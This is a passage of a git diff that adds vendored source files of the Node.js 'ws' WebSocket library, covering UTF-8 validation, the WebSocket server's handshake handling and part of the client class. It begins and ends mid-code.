0xc0) !== 0x80 || + (buf[i] & 0xfe) === 0xc0 // Overlong + ) { + return false; + } + + i += 2; + } else if ((buf[i] & 0xf0) === 0xe0) { + // 1110xxxx 10xxxxxx 10xxxxxx + if ( + i + 2 >= len || + (buf[i + 1] & 0xc0) !== 0x80 || + (buf[i + 2] & 0xc0) !== 0x80 || + (buf[i] === 0xe0 && (buf[i + 1] & 0xe0) === 0x80) || // Overlong + (buf[i] === 0xed && (buf[i + 1] & 0xe0) === 0xa0) // Surrogate (U+D800 - U+DFFF) + ) { + return false; + } + + i += 3; + } else if ((buf[i] & 0xf8) === 0xf0) { + // 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx + if ( + i + 3 >= len || + (buf[i + 1] & 0xc0) !== 0x80 || + (buf[i + 2] & 0xc0) !== 0x80 || + (buf[i + 3] & 0xc0) !== 0x80 || + (buf[i] === 0xf0 && (buf[i + 1] & 0xf0) === 0x80) || // Overlong + (buf[i] === 0xf4 && buf[i + 1] > 0x8f) || + buf[i] > 0xf4 // > U+10FFFF + ) { + return false; + } + + i += 4; + } else { + return false; + } + } + + return true; +} + +module.exports = { + isValidStatusCode, + isValidUTF8: _isValidUTF8, + tokenChars +}; + +if (isUtf8) { + module.exports.isValidUTF8 = function (buf) { + return buf.length < 24 ? _isValidUTF8(buf) : isUtf8(buf); + }; +} /* istanbul ignore else */ else if (!process.env.WS_NO_UTF_8_VALIDATE) { + try { + const isValidUTF8 = require('utf-8-validate'); + + module.exports.isValidUTF8 = function (buf) { + return buf.length < 32 ? _isValidUTF8(buf) : isValidUTF8(buf); + }; + } catch (e) { + // Continue regardless of the error. + } +} diff --git a/node_modules/ws/lib/websocket-server.js b/node_modules/ws/lib/websocket-server.js new file mode 100644 index 000000000000..67b52ffddb67 --- /dev/null +++ b/node_modules/ws/lib/websocket-server.js @@ -0,0 +1,540 @@ +/* eslint no-unused-vars: ["error", { "varsIgnorePattern": "^Duplex$", "caughtErrors": "none" }] */ + +'use strict'; + +const EventEmitter = require('events'); +const http = require('http'); +const { Duplex } = require('stream'); +const { createHash } = require('crypto'); + +const extension = require('./extension'); +const PerMessageDeflate = require('./permessage-deflate'); +const subprotocol = require('./subprotocol'); +const WebSocket = require('./websocket'); +const { GUID, kWebSocket } = require('./constants'); + +const keyRegex = /^[+/0-9A-Za-z]{22}==$/; + +const RUNNING = 0; +const CLOSING = 1; +const CLOSED = 2; + +/** + * Class representing a WebSocket server. + * + * @extends EventEmitter + */ +class WebSocketServer extends EventEmitter { + /** + * Create a `WebSocketServer` instance. + * + * @param {Object} options Configuration options + * @param {Boolean} [options.allowSynchronousEvents=true] Specifies whether + * any of the `'message'`, `'ping'`, and `'pong'` events can be emitted + * multiple times in the same tick + * @param {Boolean} [options.autoPong=true] Specifies whether or not to + * automatically send a pong in response to a ping + * @param {Number} [options.backlog=511] The maximum length of the queue of + * pending connections + * @param {Boolean} [options.clientTracking=true] Specifies whether or not to + * track clients + * @param {Function} [options.handleProtocols] A hook to handle protocols + * @param {String} [options.host] The hostname where to bind the server + * @param {Number} [options.maxPayload=104857600] The maximum allowed message + * size + * @param {Boolean} [options.noServer=false] Enable no server mode + * @param {String} [options.path] Accept only connections matching this path + * @param {(Boolean|Object)} [options.perMessageDeflate=false] Enable/disable + * permessage-deflate + * @param {Number} [options.port] The port where to bind the server + * @param {(http.Server|https.Server)} [options.server] A pre-created HTTP/S + * server to use + * @param {Boolean} [options.skipUTF8Validation=false] Specifies whether or + * not to skip UTF-8 validation for text and close messages + * @param {Function} [options.verifyClient] A hook to reject connections + * @param {Function} [options.WebSocket=WebSocket] Specifies the `WebSocket` + * class to use. It must be the `WebSocket` class or class that extends it + * @param {Function} [callback] A listener for the `listening` event + */ + constructor(options, callback) { + super(); + + options = { + allowSynchronousEvents: true, + autoPong: true, + maxPayload: 100 * 1024 * 1024, + skipUTF8Validation: false, + perMessageDeflate: false, + handleProtocols: null, + clientTracking: true, + verifyClient: null, + noServer: false, + backlog: null, // use default (511 as implemented in net.js) + server: null, + host: null, + path: null, + port: null, + WebSocket, + ...options + }; + + if ( + (options.port == null && !options.server && !options.noServer) || + (options.port != null && (options.server || options.noServer)) || + (options.server && options.noServer) + ) { + throw new TypeError( + 'One and only one of the "port", "server", or "noServer" options ' + + 'must be specified' + ); + } + + if (options.port != null) { + this._server = http.createServer((req, res) => { + const body = http.STATUS_CODES[426]; + + res.writeHead(426, { + 'Content-Length': body.length, + 'Content-Type': 'text/plain' + }); + res.end(body); + }); + this._server.listen( + options.port, + options.host, + options.backlog, + callback + ); + } else if (options.server) { + this._server = options.server; + } + + if (this._server) { + const emitConnection = this.emit.bind(this, 'connection'); + + this._removeListeners = addListeners(this._server, { + listening: this.emit.bind(this, 'listening'), + error: this.emit.bind(this, 'error'), + upgrade: (req, socket, head) => { + this.handleUpgrade(req, socket, head, emitConnection); + } + }); + } + + if (options.perMessageDeflate === true) options.perMessageDeflate = {}; + if (options.clientTracking) { + this.clients = new Set(); + this._shouldEmitClose = false; + } + + this.options = options; + this._state = RUNNING; + } + + /** + * Returns the bound address, the address family name, and port of the server + * as reported by the operating system if listening on an IP socket. + * If the server is listening on a pipe or UNIX domain socket, the name is + * returned as a string. + * + * @return {(Object|String|null)} The address of the server + * @public + */ + address() { + if (this.options.noServer) { + throw new Error('The server is operating in "noServer" mode'); + } + + if (!this._server) return null; + return this._server.address(); + } + + /** + * Stop the server from accepting new connections and emit the `'close'` event + * when all existing connections are closed. + * + * @param {Function} [cb] A one-time listener for the `'close'` event + * @public + */ + close(cb) { + if (this._state === CLOSED) { + if (cb) { + this.once('close', () => { + cb(new Error('The server is not running')); + }); + } + + process.nextTick(emitClose, this); + return; + } + + if (cb) this.once('close', cb); + + if (this._state === CLOSING) return; + this._state = CLOSING; + + if (this.options.noServer || this.options.server) { + if (this._server) { + this._removeListeners(); + this._removeListeners = this._server = null; + } + + if (this.clients) { + if (!this.clients.size) { + process.nextTick(emitClose, this); + } else { + this._shouldEmitClose = true; + } + } else { + process.nextTick(emitClose, this); + } + } else { + const server = this._server; + + this._removeListeners(); + this._removeListeners = this._server = null; + + // + // The HTTP/S server was created internally. Close it, and rely on its + // `'close'` event. + // + server.close(() => { + emitClose(this); + }); + } + } + + /** + * See if a given request should be handled by this server instance. + * + * @param {http.IncomingMessage} req Request object to inspect + * @return {Boolean} `true` if the request is valid, else `false` + * @public + */ + shouldHandle(req) { + if (this.options.path) { + const index = req.url.indexOf('?'); + const pathname = index !== -1 ? req.url.slice(0, index) : req.url; + + if (pathname !== this.options.path) return false; + } + + return true; + } + + /** + * Handle a HTTP Upgrade request. + * + * @param {http.IncomingMessage} req The request object + * @param {Duplex} socket The network socket between the server and client + * @param {Buffer} head The first packet of the upgraded stream + * @param {Function} cb Callback + * @public + */ + handleUpgrade(req, socket, head, cb) { + socket.on('error', socketOnError); + + const key = req.headers['sec-websocket-key']; + const upgrade = req.headers.upgrade; + const version = +req.headers['sec-websocket-version']; + + if (req.method !== 'GET') { + const message = 'Invalid HTTP method'; + abortHandshakeOrEmitwsClientError(this, req, socket, 405, message); + return; + } + + if (upgrade === undefined || upgrade.toLowerCase() !== 'websocket') { + const message = 'Invalid Upgrade header'; + abortHandshakeOrEmitwsClientError(this, req, socket, 400, message); + return; + } + + if (key === undefined || !keyRegex.test(key)) { + const message = 'Missing or invalid Sec-WebSocket-Key header'; + abortHandshakeOrEmitwsClientError(this, req, socket, 400, message); + return; + } + + if (version !== 8 && version !== 13) { + const message = 'Missing or invalid Sec-WebSocket-Version header'; + abortHandshakeOrEmitwsClientError(this, req, socket, 400, message); + return; + } + + if (!this.shouldHandle(req)) { + abortHandshake(socket, 400); + return; + } + + const secWebSocketProtocol = req.headers['sec-websocket-protocol']; + let protocols = new Set(); + + if (secWebSocketProtocol !== undefined) { + try { + protocols = subprotocol.parse(secWebSocketProtocol); + } catch (err) { + const message = 'Invalid Sec-WebSocket-Protocol header'; + abortHandshakeOrEmitwsClientError(this, req, socket, 400, message); + return; + } + } + + const secWebSocketExtensions = req.headers['sec-websocket-extensions']; + const extensions = {}; + + if ( + this.options.perMessageDeflate && + secWebSocketExtensions !== undefined + ) { + const perMessageDeflate = new PerMessageDeflate( + this.options.perMessageDeflate, + true, + this.options.maxPayload + ); + + try { + const offers = extension.parse(secWebSocketExtensions); + + if (offers[PerMessageDeflate.extensionName]) { + perMessageDeflate.accept(offers[PerMessageDeflate.extensionName]); + extensions[PerMessageDeflate.extensionName] = perMessageDeflate; + } + } catch (err) { + const message = + 'Invalid or unacceptable Sec-WebSocket-Extensions header'; + abortHandshakeOrEmitwsClientError(this, req, socket, 400, message); + return; + } + } + + // + // Optionally call external client verification handler. + // + if (this.options.verifyClient) { + const info = { + origin: + req.headers[`${version === 8 ? 'sec-websocket-origin' : 'origin'}`], + secure: !!(req.socket.authorized || req.socket.encrypted), + req + }; + + if (this.options.verifyClient.length === 2) { + this.options.verifyClient(info, (verified, code, message, headers) => { + if (!verified) { + return abortHandshake(socket, code || 401, message, headers); + } + + this.completeUpgrade( + extensions, + key, + protocols, + req, + socket, + head, + cb + ); + }); + return; + } + + if (!this.options.verifyClient(info)) return abortHandshake(socket, 401); + } + + this.completeUpgrade(extensions, key, protocols, req, socket, head, cb); + } + + /** + * Upgrade the connection to WebSocket. + * + * @param {Object} extensions The accepted extensions + * @param {String} key The value of the `Sec-WebSocket-Key` header + * @param {Set} protocols The subprotocols + * @param {http.IncomingMessage} req The request object + * @param {Duplex} socket The network socket between the server and client + * @param {Buffer} head The first packet of the upgraded stream + * @param {Function} cb Callback + * @throws {Error} If called more than once with the same socket + * @private + */ + completeUpgrade(extensions, key, protocols, req, socket, head, cb) { + // + // Destroy the socket if the client has already sent a FIN packet. + // + if (!socket.readable || !socket.writable) return socket.destroy(); + + if (socket[kWebSocket]) { + throw new Error( + 'server.handleUpgrade() was called more than once with the same ' + + 'socket, possibly due to a misconfiguration' + ); + } + + if (this._state > RUNNING) return abortHandshake(socket, 503); + + const digest = createHash('sha1') + .update(key + GUID) + .digest('base64'); + + const headers = [ + 'HTTP/1.1 101 Switching Protocols', + 'Upgrade: websocket', + 'Connection: Upgrade', + `Sec-WebSocket-Accept: ${digest}` + ]; + + const ws = new this.options.WebSocket(null, undefined, this.options); + + if (protocols.size) { + // + // Optionally call external protocol selection handler. + // + const protocol = this.options.handleProtocols + ? this.options.handleProtocols(protocols, req) + : protocols.values().next().value; + + if (protocol) { + headers.push(`Sec-WebSocket-Protocol: ${protocol}`); + ws._protocol = protocol; + } + } + + if (extensions[PerMessageDeflate.extensionName]) { + const params = extensions[PerMessageDeflate.extensionName].params; + const value = extension.format({ + [PerMessageDeflate.extensionName]: [params] + }); + headers.push(`Sec-WebSocket-Extensions: ${value}`); + ws._extensions = extensions; + } + + // + // Allow external modification/inspection of handshake headers. + // + this.emit('headers', headers, req); + + socket.write(headers.concat('\r\n').join('\r\n')); + socket.removeListener('error', socketOnError); + + ws.setSocket(socket, head, { + allowSynchronousEvents: this.options.allowSynchronousEvents, + maxPayload: this.options.maxPayload, + skipUTF8Validation: this.options.skipUTF8Validation + }); + + if (this.clients) { + this.clients.add(ws); + ws.on('close', () => { + this.clients.delete(ws); + + if (this._shouldEmitClose && !this.clients.size) { + process.nextTick(emitClose, this); + } + }); + } + + cb(ws, req); + } +} + +module.exports = WebSocketServer; + +/** + * Add event listeners on an `EventEmitter` using a map of + * pairs. + * + * @param {EventEmitter} server The event emitter + * @param {Object.} map The listeners to add + * @return {Function} A function that will remove the added listeners when + * called + * @private + */ +function addListeners(server, map) { + for (const event of Object.keys(map)) server.on(event, map[event]); + + return function removeListeners() { + for (const event of Object.keys(map)) { + server.removeListener(event, map[event]); + } + }; +} + +/** + * Emit a `'close'` event on an `EventEmitter`. + * + * @param {EventEmitter} server The event emitter + * @private + */ +function emitClose(server) { + server._state = CLOSED; + server.emit('close'); +} + +/** + * Handle socket errors. + * + * @private + */ +function socketOnError() { + this.destroy(); +} + +/** + * Close the connection when preconditions are not fulfilled. + * + * @param {Duplex} socket The socket of the upgrade request + * @param {Number} code The HTTP response status code + * @param {String} [message] The HTTP response body + * @param {Object} [headers] Additional HTTP response headers + * @private + */ +function abortHandshake(socket, code, message, headers) { + // + // The socket is writable unless the user destroyed or ended it before calling + // `server.handleUpgrade()` or in the `verifyClient` function, which is a user + // error. Handling this does not make much sense as the worst that can happen + // is that some of the data written by the user might be discarded due to the + // call to `socket.end()` below, which triggers an `'error'` event that in + // turn causes the socket to be destroyed. + // + message = message || http.STATUS_CODES[code]; + headers = { + Connection: 'close', + 'Content-Type': 'text/html', + 'Content-Length': Buffer.byteLength(message), + ...headers + }; + + socket.once('finish', socket.destroy); + + socket.end( + `HTTP/1.1 ${code} ${http.STATUS_CODES[code]}\r\n` + + Object.keys(headers) + .map((h) => `${h}: ${headers[h]}`) + .join('\r\n') + + '\r\n\r\n' + + message + ); +} + +/** + * Emit a `'wsClientError'` event on a `WebSocketServer` if there is at least + * one listener for it, otherwise call `abortHandshake()`. + * + * @param {WebSocketServer} server The WebSocket server + * @param {http.IncomingMessage} req The request object + * @param {Duplex} socket The socket of the upgrade request + * @param {Number} code The HTTP response status code + * @param {String} message The HTTP response body + * @private + */ +function abortHandshakeOrEmitwsClientError(server, req, socket, code, message) { + if (server.listenerCount('wsClientError')) { + const err = new Error(message); + Error.captureStackTrace(err, abortHandshakeOrEmitwsClientError); + + server.emit('wsClientError', err, socket, req); + } else { + abortHandshake(socket, code, message); + } +} diff --git a/node_modules/ws/lib/websocket.js b/node_modules/ws/lib/websocket.js new file mode 100644 index 000000000000..aa57bbadebb8 --- /dev/null +++ b/node_modules/ws/lib/websocket.js @@ -0,0 +1,1338 @@ +/* eslint no-unused-vars: ["error", { "varsIgnorePattern": "^Duplex|Readable$", "caughtErrors": "none" }] */ + +'use strict'; + +const EventEmitter = require('events'); +const https = require('https'); +const http = require('http'); +const net = require('net'); +const tls = require('tls'); +const { randomBytes, createHash } = require('crypto'); +const { Duplex, Readable } = require('stream'); +const { URL } = require('url'); + +const PerMessageDeflate = require('./permessage-deflate'); +const Receiver = require('./receiver'); +const Sender = require('./sender'); +const { + BINARY_TYPES, + EMPTY_BUFFER, + GUID, + kForOnEventAttribute, + kListener, + kStatusCode, + kWebSocket, + NOOP +} = require('./constants'); +const { + EventTarget: { addEventListener, removeEventListener } +} = require('./event-target'); +const { format, parse } = require('./extension'); +const { toBuffer } = require('./buffer-util'); + +const closeTimeout = 30 * 1000; +const kAborted = Symbol('kAborted'); +const protocolVersions = [8, 13]; +const readyStates = ['CONNECTING', 'OPEN', 'CLOSING', 'CLOSED']; +const subprotocolRegex = /^[!#$%&'*+\-.0-9A-Z^_`|a-z~]+$/; + +/** + * Class representing a WebSocket. + * + * @extends EventEmitter + */ +class WebSocket extends EventEmitter { + /** + * Create a new `WebSocket`. + * + * @param {(String|URL)} address The URL to which to connect + * @param {(String|String[])} [protocols] The subprotocols + * @param {Object} [options] Connection options + */ + constructor(address, protocols, options) { + super(); + + this._binaryType = BINARY_TYPES[0]; + this._closeCode = 1006; + this._closeFrameReceived = false; + this._closeFrameSent = false; + this._closeMessage = EMPTY_BUFFER; + this._closeTimer = null; + this._extensions = {}; + this._paused = false; + this._protocol = ''; + this._readyState = WebSocket.CONNECTING; + this._receiver = null; + this._sender = null; + this._socket = null; + + if (address !== null) { + this._bufferedAmount = 0; + this._isServer = false; + this._redirects = 0; + + if (protocols === undefined) { + protocols = []; + } else if (!Array.isArray(protocols)) { + if (typeof protocols === 'object' && protocols !== null) { + options = protocols; + protocols = []; + } else { + protocols = [protocols]; + } + } + + initAsClient(this, address, protocols, options); + } else { + this._autoPong = options.autoPong; + this._isServer = true; + } + } + + /** + * This deviates from the WHATWG interface since ws doesn't support the + * required default "blob" type (instead we define a custom "nodebuffer" + * type). + * + * @type {String} + */ + get binaryType() { + return this._binaryType; + } + + set binaryType(type) { + if (!BINARY_TYPES.includes(type)) return; + + this._binaryType = type; + + // + // Allow to change `binaryType` on the fly. + // + if (this._receiver) this._receiver._binaryType = type; + } + + /** + * @type {Number} + */ + get bufferedAmount() { + if (!this._socket) return this._bufferedAmount; + + return this._socket._writableState.length + this._sender._bufferedBytes; + } + + /** + * @type {String} + */ + get extensions() { + return Object.keys(this._extensions).join(); + } + + /** + * @type {Boolean} + */ + get isPaused() { + return this._paused; + } + + /** + * @type {Function} + */ + /* istanbul ignore next */ + get onclose() { + return null; + } + + /** + * @type {Function} + */ + /* istanbul ignore next */ + get onerror() { + return null; + } + + /** + * @type {Function} + */ + /* istanbul ignore next */ + get onopen() { + return null; + } + + /** + * @type {Function} + */ + /* istanbul ignore next */ + get onmessage() { + return null; + } + + /** + * @type {String} + */ + get protocol() { + return this._protocol; + } + + /** + * @type {Number} + */ + get readyState() { + return this._readyState; + } + + /** + * @type {String} + */ + get url() { + return this._url; + } + + /** + * Set up the socket and the internal resources. + * + * @param {Duplex} socket The network socket between the server and client + * @param {Buffer} head The first packet of the upgraded stream + * @param {Object} options Options object + * @param {Boolean} [options.allowSynchronousEvents=false] Specifies whether + * any of the `'message'`, `'ping'`, and `'pong'` events can be emitted + * multiple times in the same tick + * @param {Function} [options.generateMask] The function used to generate the + * masking key + * @param {Number} [options.maxPayload=0] The maximum allowed message size + * @param {Boolean} [options.skipUTF8Validation=false] Specifies whether or + * not to skip UTF-8 validation for text and close messages + * @private + */ + setSocket(socket, head, options) { + const receiver = new Receiver({ + allowSynchronousEvents: options.allowSynchronousEvents, + binaryType: this.binaryType, + extensions: this._extensions, + isServer: this._isServer, + maxPayload: options.maxPayload, + skipUTF8Validation: options.skipUTF8Validation + }); + + this._sender = new Sender(socket, this._extensions, options.generateMask); + this._receiver = receiver; + this._socket = socket; + + receiver[kWebSocket] = this; + socket[kWebSocket] = this; + + receiver.on('conclude', receiverOnConclude); + receiver.on('drain', receiverOnDrain); + receiver.on('error', receiverOnError); + receiver.on('message', receiverOnMessage); + receiver.on('ping', receiverOnPing); + receiver.on('pong', receiverOnPong); + + // + // These methods may not be available if `socket` is just a `Duplex`. + // + if (socket.setTimeout) socket.setTimeout(0); + if (socket.setNoDelay) socket.setNoDelay(); + + if (head.length > 0) socket.unshift(head); + + socket.on('close', socketOnClose); + socket.on('data', socketOnData); + socket.on('end', socketOnEnd); + socket.on('error', socketOnError); + + this._readyState = WebSocket.OPEN; + this.emit('open'); + } + + /** + * Emit the `'close'` event. + * + * @private + */ + emitClose() { + if (!this._socket) { + this._readyState = WebSocket.CLOSED; + this.emit('close', this._closeCode, this._closeMessage); + return; + } + + if (this._extensions[PerMessageDeflate.extensionName]) { + this._extensions[PerMessageDeflate.extensionName].cleanup(); + } + + this._receiver.removeAllListeners(); + this._readyState = WebSocket.CLOSED; + this.emit('close', this._closeCode, this._closeMessage); + } + + /** + * Start a closing handshake. + * + * +----------+ +-----------+ +----------+ + * - - -|ws.close()|-->|close frame|-->|ws.close()|- - - + * | +----------+ +-----------+ +----------+ | + * +----------+ +-----------+ | + * CLOSING |ws.close()|<--|close frame|<--+-----+ CLOSING + * +----------+ +-----------+ | + * | | | +---+ | + * +------------------------+-->|fin| - - - - + * | +---+ | +---+ + * - - - - -|fin|<---------------------+ + * +---+ + * + * @param {Number} [code] Status code explaining why the connection is closing + * @param {(String|Buffer)} [data] The reason why the connection is + * closing + * @public + */ + close(code, data) { + if (this.readyState === WebSocket.CLOSED) return; + if (this.readyState === WebSocket.CONNECTING) { + const msg = 'WebSocket was closed before the connection was established'; + abortHandshake(this, this._req, msg); + return; + } + + if (this.readyState === WebSocket.CLOSING) { + if ( + this._closeFrameSent && + (this._closeFrameReceived || this._receiver._writableState.errorEmitted) + ) { + this._socket.end(); + } + + return; + } + + this._readyState = WebSocket.CLOSING; + this._sender.close(code, data, !this._isServer, (err) => { + // + // This error is handled by the `'error'` listener on the socket. We only + // want to know if the close frame has been sent here. + // + if (err) return; + + this._closeFrameSent = true; + + if ( + this._closeFrameReceived || + this._receiver._writableState.errorEmitted + ) { + this._socket.end(); + } + }); + + // + // Specify a timeout for the closing handshake to complete. + // + this._closeTimer = setTimeout( + this._socket.destroy.bind(this._socket), + closeTimeout + ); + } + + /** + * Pause the socket. + * + * @public + */ + pause() { + if ( + this.readyState === WebSocket.CONNECTING || + this.readyState === WebSocket.CLOSED + ) { + return; + } + + this._paused = true; + this._socket.pause(); + } + + /** + * Send a ping. + * + * @param {*} [data] The data to send + * @param {Boolean} [mask] Indicates whether or not to mask `data` + * @param {Function} [cb] Callback which is executed when the ping is sent + * @public + */ + ping(data, mask, cb) { + if (this.readyState === WebSocket.CONNECTING) { + throw new Error('WebSocket is not open: readyState 0 (CONNECTING)'); + } + + if (typeof data === 'function') { + cb = data; + data = mask = undefined; + } else if (typeof mask === 'function') { + cb = mask; + mask = undefined; + } + + if (typeof data === 'number') data = data.toString(); + + if (this.readyState !== WebSocket.OPEN) { + sendAfterClose(this, data, cb); + return; + } + + if (mask === undefined) mask = !this._isServer; + this._sender.ping(data || EMPTY_BUFFER, mask, cb); + } + + /** + * Send a pong. + * + * @param {*} [data] The data to send + * @param {Boolean} [mask] Indicates whether or not to mask `data` + * @param {Function} [cb] Callback which is executed when the pong is sent + * @public + */ + pong(data, mask, cb) { + if (this.readyState === WebSocket.CONNECTING) { + throw new Error('WebSocket is not open: readyState 0 (CONNECTING)'); + } + + if (typeof data === 'function') { + cb = data; + data = mask = undefined; + } else if (typeof mask === 'function') { + cb = mask; + mask = undefined; + } + + if (typeof data === 'number') data = data.toString(); + + if (this.readyState !== WebSocket.OPEN) { + sendAfterClose(this, data, cb); + return; + } + + if (mask === undefined) mask = !this._isServer; + this._sender.pong(data || EMPTY_BUFFER, mask, cb); + } + + /** + * Resume the socket. + * + * @public + */ + resume() { + if ( + this.readyState === WebSocket.CONNECTING || + this.readyState === WebSocket.CLOSED + ) { + return; + } + + this._paused = false; + if (!this._receiver._writableState.needDrain) this._socket.resume(); + } + + /** + * Send a data message. + * + * @param {*} data The message to send + * @param {Object} [options] Options object + * @param {Boolean} [options.binary] Specifies whether `data` is binary or + * text + * @param {Boolean} [options.compress] Specifies whether or not to compress + * `data` + * @param {Boolean} [options.fin=true] Specifies whether the fragment is the + * last one + * @param {Boolean} [options.mask] Specifies whether or not to mask `data` + * @param {Function} [cb] Callback which is executed when data is written out + * @public + */ + send(data, options, cb) { + if (this.readyState === WebSocket.CONNECTING) { + throw new Error('WebSocket is not open: readyState 0 (CONNECTING)'); + } + + if (typeof options === 'function') { + cb = options; + options = {}; + } + + if (typeof data === 'number') data = data.toString(); + + if (this.readyState !== WebSocket.OPEN) { + sendAfterClose(this, data, cb); + return; + } + + const opts = { + binary: typeof data !== 'string', + mask: !this._isServer, + compress: true, + fin: true, + ...options + }; + + if (!this._extensions[PerMessageDeflate.extensionName]) { + opts.compress = false; + } + + this._sender.send(data || EMPTY_BUFFER, opts, cb); + } + + /** + * Forcibly close the connection. + * + * @public + */ + terminate() { + if (this.readyState === WebSocket.CLOSED) return; + if (this.readyState === WebSocket.CONNECTING) { + const msg = 'WebSocket was closed before the connection was established'; + abortHandshake(this, this._req, msg); + return; + } + + if (this._socket) { + this._readyState = WebSocket.CLOSING; + this._socket.destroy(); + } + } +} + +/** + * @constant {Number} CONNECTING + * @memberof WebSocket + */ +Object.defineProperty(WebSocket, 'CONNECTING', { + enumerable: true, + value: readyStates.indexOf('CONNECTING') +}); + +/** + * @constant {Number} CONNECTING + * @memberof WebSocket.prototype + */ +Object.defineProperty(WebSocket.prototype, 'CONNECTING', { + enumerable: true, + value: readyStates.indexOf('CONNECTING') +}); + +/** + * @constant {Number} OPEN + * @memberof WebSocket + */ +Object.defineProperty(WebSocket, 'OPEN', { + enumerable: true, + value: readyStates.indexOf('OPEN') +}); + +/** + * @constant {Number} OPEN + * @memberof WebSocket.prototype + */ +Object.defineProperty(WebSocket.prototype, 'OPEN', { + enumerable: true, + value: readyStates.indexOf('OPEN') +}); + +/** + * @constant {Number} CLOSING + * @memberof WebSocket + */ +Object.defineProperty(WebSocket, 'CLOSING', { + enumerable: true, + value: readyStates.indexOf('CLOSING') +}); + +/** + * @constant {Number} CLOSING + * @memberof WebSocket.prototype + */ +Object.defineProperty(WebSocket.prototype, 'CLOSING', { + enumerable: true, + value: readyStates.indexOf('CLOSING') +}); + +/** + * @constant {Number} CLOSED + * @memberof WebSocket + */ +Object.defineProperty(WebSocket, 'CLOSED', { + enumerable: true, + value: readyStates.indexOf('CLOSED') +}); + +/** + * @constant {Number} CLOSED + * @memberof WebSocket.prototype + */ +Object.defineProperty(WebSocket.prototype, 'CLOSED', { + enumerable: true, + value: readyStates.indexOf('CLOSED') +}); + +[ + 'binaryType', + 'bufferedAmount', + 'extensions', + 'isPaused', + 'protocol', + 'readyState', + 'url' +].forEach((property) => { + Object.defineProperty(WebSocket.prototype, property, { enumerable: true }); +}); + +// +// Add the `onopen`, `onerror`, `onclose`, and `onmessage` attributes. +// See https://html.spec.whatwg.org/multipage/comms.html#the-websocket-interface +// +['open', 'error', 'close', 'message'].forEach((method) => { + Object.defineProperty(WebSocket.prototype, `on${method}`, { + enumerable: true, + get() { + for (const listener of this.listeners(method)) { + if (listener[kForOnEventAttribute]) return listener[kListener]; + } + + return null; + }, + set(handler) { + for (const listener of this.listeners(method)) { + if (listener[kForOnEventAttribute]) { + this.removeListener(method, listener); + break; + } + } + + if (typeof handler !== 'function') return; + + this.addEventListener(method, handler, { + [kForOnEventAttribute]: true + }); + } + }); +}); + +WebSocket.prototype.addEventListener = addEventListener; +WebSocket.prototype.removeEventListener = removeEventListener; + +module.exports = WebSocket; + +/** + * Initialize a WebSocket client. + * + * @param {WebSocket} websocket The client to initialize + * @param {(String|URL)} address The URL to which to connect + * @param {Array} protocols The subprotocols + * @param {Object} [options] Connection options + * @param {Boolean} [options.allowSynchronousEvents=true] Specifies whether any + * of the `'message'`, `'ping'`, and `'pong'` events can be emitted multiple + * times in the same tick + * @param {Boolean} [options.autoPong=true] Specifies whether or not to + * automatically send a pong in response to a ping + * @param {Function} [options.finishRequest] A function which can be used to + * customize the headers of each http request before it is sent + * @param {Boolean} [options.followRedirects=false] Whether or not to follow + * redirects + * @param {Function} [options.generateMask] The function used to generate the + * masking key + * @param {Number} [options.handshakeTimeout] Timeout in milliseconds for the + * handshake request + * @param {Number} [options.maxPayload=104857600] The maximum allowed message + * size + * @param {Number} [options.maxRedirects=10] The maximum number of redirects + * allowed + * @param {String} [options.origin] Value of the `Origin` or + * `Sec-WebSocket-Origin` header + * @param {(Boolean|Object)} [options.perMessageDeflate=true] Enable/disable + * permessage-deflate + * @param {Number} [options.protocolVersion=13] Value of the + * `Sec-WebSocket-Version` header + * @param {Boolean} [options.skipUTF8Validation=false] Specifies whether or + * not to skip UTF-8 validation for text and close messages + * @private + */ +function initAsClient(websocket, address, protocols, options) { + const opts = { + allowSynchronousEvents: true, + autoPong: true, + protocolVersion: protocolVersions[1], + maxPayload: 100 * 1024 * 1024, + skipUTF8Validation: false, + perMessageDeflate: true, + followRedirects: false, + maxRedirects: 10, + ...options, + socketPath: undefined, + hostname: undefined, + protocol: undefined, + timeout: undefined, + method: 'GET', + host: undefined, + path: undefined, + port: undefined + }; + + websocket._autoPong = opts.autoPong; + + if (!protocolVersions.includes(opts.protocolVersion)) { + throw new RangeError( + `Unsupported protocol version: ${opts.protocolVersion} ` + + `(supported versions: ${protocolVersions.join(', ')})` + ); + } + + let parsedUrl; + + if (address instanceof URL) { + parsedUrl = address; + } else { + try { + parsedUrl = new URL(address); + } catch (e) { + throw new SyntaxError(`Invalid URL: ${address}`); + } + } + + if (parsedUrl.protocol === 'http:') { + parsedUrl.protocol = 'ws:'; + } else if (parsedUrl.protocol === 'https:') { + parsedUrl.protocol = 'wss:'; + } + + websocket._url = parsedUrl.href; + + const isSecure = parsedUrl.protocol === 'wss:'; + const isIpcUrl = parsedUrl.protocol === 'ws+unix:'; + let invalidUrlMessage; + + if (parsedUrl.protocol !== 'ws:' && !isSecure && !isIpcUrl) { + invalidUrlMessage = + 'The URL\'s protocol must be one of "ws:", "wss:", ' + + '"http:", "https", or "ws+unix:"'; + } else if (isIpcUrl && !parsedUrl.pathname) { + invalidUrlMessage = "The URL's pathname is empty"; + } else if (parsedUrl.hash) { + invalidUrlMessage = 'The URL contains a fragment identifier'; + } + + if (invalidUrlMessage) { + const err = new SyntaxError(invalidUrlMessage); + + if (websocket._redirects === 0) { + throw err; + } else { + emitErrorAndClose(websocket, err); + return; + } + } + + const defaultPort = isSecure ? 443 : 80; + const key = randomBytes(16).toString('base64'); + const request = isSecure ? https.request : http.request; + const protocolSet = new Set(); + let perMessageDeflate; + + opts.createConnection = + opts.createConnection || (isSecure ? tlsConnect : netConnect); + opts.defaultPort = opts.defaultPort || defaultPort; + opts.port = parsedUrl.port || defaultPort; + opts.host = parsedUrl.hostname.startsWith('[') + ? parsedUrl.hostname.slice(1, -1) + : parsedUrl.hostname; + opts.headers = { + ...opts.headers, + 'Sec-WebSocket-Version': opts.protocolVersion, + 'Sec-WebSocket-Key': key, + Connection: 'Upgrade', + Upgrade: 'websocket' + }; + opts.path = parsedUrl.pathname + parsedUrl.search; + opts.timeout = opts.handshakeTimeout; + + if (opts.perMessageDeflate) { + perMessageDeflate = new PerMessageDeflate( + opts.perMessageDeflate !== true ? opts.perMessageDeflate : {}, + false, + opts.maxPayload + ); + opts.headers['Sec-WebSocket-Extensions'] = format({ + [PerMessageDeflate.extensionName]: perMessageDeflate.offer() + }); + } + if (protocols.length) { + for (const protocol of protocols) { + if ( + typeof protocol !== 'string' || + !subprotocolRegex.test(protocol) || + protocolSet.has(protocol) + ) { + throw new SyntaxError( + 'An invalid or 